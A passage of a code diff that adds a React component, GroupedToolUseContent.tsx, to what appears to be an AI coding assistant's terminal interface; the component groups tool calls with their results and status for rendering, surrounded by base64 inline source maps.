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ENBQUEsT0FBQW9FLGFBQUE7SUFBQXBFLENBQUEsT0FBQTBHLEdBQUE7RUFBQTtJQUFBQSxHQUFBLEdBQUExRyxDQUFBO0VBQUE7RUFBQSxJQUFBMkcsR0FBQTtFQUFBLElBQUEzRyxDQUFBLFNBQUFnRyxHQUFBLElBQUFoRyxDQUFBLFNBQUEwRyxHQUFBO0lBckNKQyxHQUFBLElBQUMsR0FBRyxDQUFlLGFBQVEsQ0FBUixRQUFRLENBQU8sS0FBTSxDQUFOLE1BQU0sQ0FDdEMsQ0FBQVgsR0FlSyxDQUVMLENBQUFVLEdBbUJDLENBQ0gsRUF0Q0MsR0FBRyxDQXNDRTtJQUFBMUcsQ0FBQSxPQUFBZ0csR0FBQTtJQUFBaEcsQ0FBQSxPQUFBMEcsR0FBQTtJQUFBMUcsQ0FBQSxPQUFBMkcsR0FBQTtFQUFBO0lBQUFBLEdBQUEsR0FBQTNHLENBQUE7RUFBQTtFQUFBLE9BdENOMkcsR0FzQ007QUFBQTtBQWxSSCxTQUFBSCxPQUFBO0FBQUEsU0FBQWhCLE9BQUFvQixNQUFBO0VBQUEsT0FzT3lCdkIsTUFBSSxLQUFLLElBQWdCLElBQVJBLE1BQUksR0FBRyxDQUFtQixHQUFmQSxNQUFJLEdBQUcsQ0FBUSxHQUEzQ3VCLE1BQTJDO0FBQUE7QUF0T3BFLFNBQUFsRCxPQUFBbUQsR0FBQTtFQUFBLE9BeUtIQyxNQUFNLENBQUFDLE1BQU8sQ0FBQ0MsR0FBQyxDQUFBQyxLQUFNLENBQUMsQ0FBQTNHLElBQUssQ0FDekI0RyxNQUNGLENBQUM7QUFBQTtBQTNLRSxTQUFBQSxPQUFBQyxDQUFBO0VBQUEsT0EwS0lBLENBQUMsQ0FBQXBHLElBQUssS0FBSyxPQUFpQyxJQUF0Qm9HLENBQUMsQ0FBQUMsTUFBTyxLQUFLLFNBQVM7QUFBQTtBQTFLaEQsU0FBQWxFLE9BQUFtRSxHQUFBO0VBQUEsT0F5SnVCQSxHQUFHLENBQUFwRixLQUFNLEtBQUt6QyxnQkFBZ0I7QUFBQTtBQXpKckQsU0FBQTRDLE9BQUE0RSxDQUFBO0VBQUEsT0FxSHFDQSxDQUFDLENBQUE3RSxnQkFBaUI7QUFBQTtBQXJIdkQsU0FBQXJCLE9BQUF3RyxHQUFBO0VBQUEsT0FzQlU7SUFBQSxHQUFLL0csR0FBQztJQUFBaEIsTUFBQSxFQUFVO0VBQUssQ0FBQztBQUFBO0FBdEJoQyxTQUFBcUIsTUFBQTJHLEdBQUE7RUFBQSxPQXFCWWhILEdBQUMsQ0FBQVEsSUFBSyxLQUFLLFNBQWlDLElBQXBCUixHQUFDLENBQUFRLElBQUssS0FBSyxTQUFTO0FBQUEiLCJpZ25vcmVMaXN0IjpbXX0=
|
src/components/messages/GroupedToolUseContent.tsx
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import type { ToolResultBlockParam, ToolUseBlockParam } from '@anthropic-ai/sdk/resources/messages/messages.mjs';
|
| 2 |
+
import * as React from 'react';
|
| 3 |
+
import { filterToolProgressMessages, findToolByName, type Tools } from '../../Tool.js';
|
| 4 |
+
import type { GroupedToolUseMessage } from '../../types/message.js';
|
| 5 |
+
import type { buildMessageLookups } from '../../utils/messages.js';
|
| 6 |
+
type Props = {
|
| 7 |
+
message: GroupedToolUseMessage;
|
| 8 |
+
tools: Tools;
|
| 9 |
+
lookups: ReturnType<typeof buildMessageLookups>;
|
| 10 |
+
inProgressToolUseIDs: Set<string>;
|
| 11 |
+
shouldAnimate: boolean;
|
| 12 |
+
};
|
| 13 |
+
export function GroupedToolUseContent({
|
| 14 |
+
message,
|
| 15 |
+
tools,
|
| 16 |
+
lookups,
|
| 17 |
+
inProgressToolUseIDs,
|
| 18 |
+
shouldAnimate
|
| 19 |
+
}: Props): React.ReactNode {
|
| 20 |
+
const tool = findToolByName(tools, message.toolName);
|
| 21 |
+
if (!tool?.renderGroupedToolUse) {
|
| 22 |
+
return null;
|
| 23 |
+
}
|
| 24 |
+
|
| 25 |
+
// Build a map from tool_use_id to result data
|
| 26 |
+
const resultsByToolUseId = new Map<string, {
|
| 27 |
+
param: ToolResultBlockParam;
|
| 28 |
+
output: unknown;
|
| 29 |
+
}>();
|
| 30 |
+
for (const resultMsg of message.results) {
|
| 31 |
+
for (const content of resultMsg.message.content) {
|
| 32 |
+
if (content.type === 'tool_result') {
|
| 33 |
+
resultsByToolUseId.set(content.tool_use_id, {
|
| 34 |
+
param: content,
|
| 35 |
+
output: resultMsg.toolUseResult
|
| 36 |
+
});
|
| 37 |
+
}
|
| 38 |
+
}
|
| 39 |
+
}
|
| 40 |
+
const toolUsesData = message.messages.map(msg => {
|
| 41 |
+
const content = msg.message.content[0];
|
| 42 |
+
const result = resultsByToolUseId.get(content.id);
|
| 43 |
+
return {
|
| 44 |
+
param: content as ToolUseBlockParam,
|
| 45 |
+
isResolved: lookups.resolvedToolUseIDs.has(content.id),
|
| 46 |
+
isError: lookups.erroredToolUseIDs.has(content.id),
|
| 47 |
+
isInProgress: inProgressToolUseIDs.has(content.id),
|
| 48 |
+
progressMessages: filterToolProgressMessages(lookups.progressMessagesByToolUseID.get(content.id) ?? []),
|
| 49 |
+
result
|
| 50 |
+
};
|
| 51 |
+
});
|
| 52 |
+
const anyInProgress = toolUsesData.some(d => d.isInProgress);
|
| 53 |
+
return tool.renderGroupedToolUse(toolUsesData, {
|
| 54 |
+
shouldAnimate: shouldAnimate && anyInProgress,
|
| 55 |
+
tools
|
| 56 |
+
});
|
| 57 |
+
}
|
| 58 |
+
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJUb29sUmVzdWx0QmxvY2tQYXJhbSIsIlRvb2xVc2VCbG9ja1BhcmFtIiwiUmVhY3QiLCJmaWx0ZXJUb29sUHJvZ3Jlc3NNZXNzYWdlcyIsImZpbmRUb29sQnlOYW1lIiwiVG9vbHMiLCJHcm91cGVkVG9vbFVzZU1lc3NhZ2UiLCJidWlsZE1lc3NhZ2VMb29rdXBzIiwiUHJvcHMiLCJtZXNzYWdlIiwidG9vbHMiLCJsb29rdXBzIiwiUmV0dXJuVHlwZSIsImluUHJvZ3Jlc3NUb29sVXNlSURzIiwiU2V0Iiwic2hvdWxkQW5pbWF0ZSIsIkdyb3VwZWRUb29sVXNlQ29udGVudCIsIlJlYWN0Tm9kZSIsInRvb2wiLCJ0b29sTmFtZSIsInJlbmRlckdyb3VwZWRUb29sVXNlIiwicmVzdWx0c0J5VG9vbFVzZUlkIiwiTWFwIiwicGFyYW0iLCJvdXRwdXQiLCJyZXN1bHRNc2ciLCJyZXN1bHRzIiwiY29udGVudCIsInR5cGUiLCJzZXQiLCJ0b29sX3VzZV9pZCIsInRvb2xVc2VSZXN1bHQiLCJ0b29sVXNlc0RhdGEiLCJtZXNzYWdlcyIsIm1hcCIsIm1zZyIsInJlc3VsdCIsImdldCIsImlkIiwiaXNSZXNvbHZlZCIsInJlc29sdmVkVG9vbFVzZUlEcyIsImhhcyIsImlzRXJyb3IiLCJlcnJvcmVkVG9vbFVzZUlEcyIsImlzSW5Qcm9ncmVzcyIsInByb2dyZXNzTWVzc2FnZXMiLCJwcm9ncmVzc01lc3NhZ2VzQnlUb29sVXNlSUQiLCJhbnlJblByb2dyZXNzIiwic29tZSIsImQiXSwic291cmNlcyI6WyJHcm91cGVkVG9vbFVzZUNvbnRlbnQudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB0eXBlIHtcbiAgVG9vbFJlc3VsdEJsb2NrUGFyYW0sXG4gIFRvb2xVc2VCbG9ja1BhcmFtLFxufSBmcm9tICdAYW50aHJvcGljLWFpL3Nkay9yZXNvdXJjZXMvbWVzc2FnZXMvbWVzc2FnZXMubWpzJ1xuaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQge1xuICBmaWx0ZXJUb29sUHJvZ3Jlc3NNZXNzYWdlcyxcbiAgZmluZFRvb2xCeU5hbWUsXG4gIHR5cGUgVG9vbHMsXG59IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IEdyb3VwZWRUb29sVXNlTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IGJ1aWxkTWVzc2FnZUxvb2t1cHMgfSBmcm9tICcuLi8uLi91dGlscy9tZXNzYWdlcy5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgbWVzc2FnZTogR3JvdXBlZFRvb2xVc2VNZXNzYWdlXG4gIHRvb2xzOiBUb29sc1xuICBsb29rdXBzOiBSZXR1cm5UeXBlPHR5cGVvZiBidWlsZE1lc3NhZ2VMb29rdXBzPlxuICBpblByb2dyZXNzVG9vbFVzZUlEczogU2V0PHN0cmluZz5cbiAgc2hvdWxkQW5pbWF0ZTogYm9vbGVhblxufVxuXG5leHBvcnQgZnVuY3Rpb24gR3JvdXBlZFRvb2xVc2VDb250ZW50KHtcbiAgbWVzc2FnZSxcbiAgdG9vbHMsXG4gIGxvb2t1cHMsXG4gIGluUHJvZ3Jlc3NUb29sVXNlSURzLFxuICBzaG91bGRBbmltYXRlLFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCB0b29sID0gZmluZFRvb2xCeU5hbWUodG9vbHMsIG1lc3NhZ2UudG9vbE5hbWUpXG4gIGlmICghdG9vbD8ucmVuZGVyR3JvdXBlZFRvb2xVc2UpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgLy8gQnVpbGQgYSBtYXAgZnJvbSB0b29sX3VzZV9pZCB0byByZXN1bHQgZGF0YVxuICBjb25zdCByZXN1bHRzQnlUb29sVXNlSWQgPSBuZXcgTWFwPFxuICAgIHN0cmluZyxcbiAgICB7IHBhcmFtOiBUb29sUmVzdWx0QmxvY2tQYXJhbTsgb3V0cHV0OiB1bmtub3duIH1cbiAgPigpXG4gIGZvciAoY29uc3QgcmVzdWx0TXNnIG9mIG1lc3NhZ2UucmVzdWx0cykge1xuICAgIGZvciAoY29uc3QgY29udGVudCBv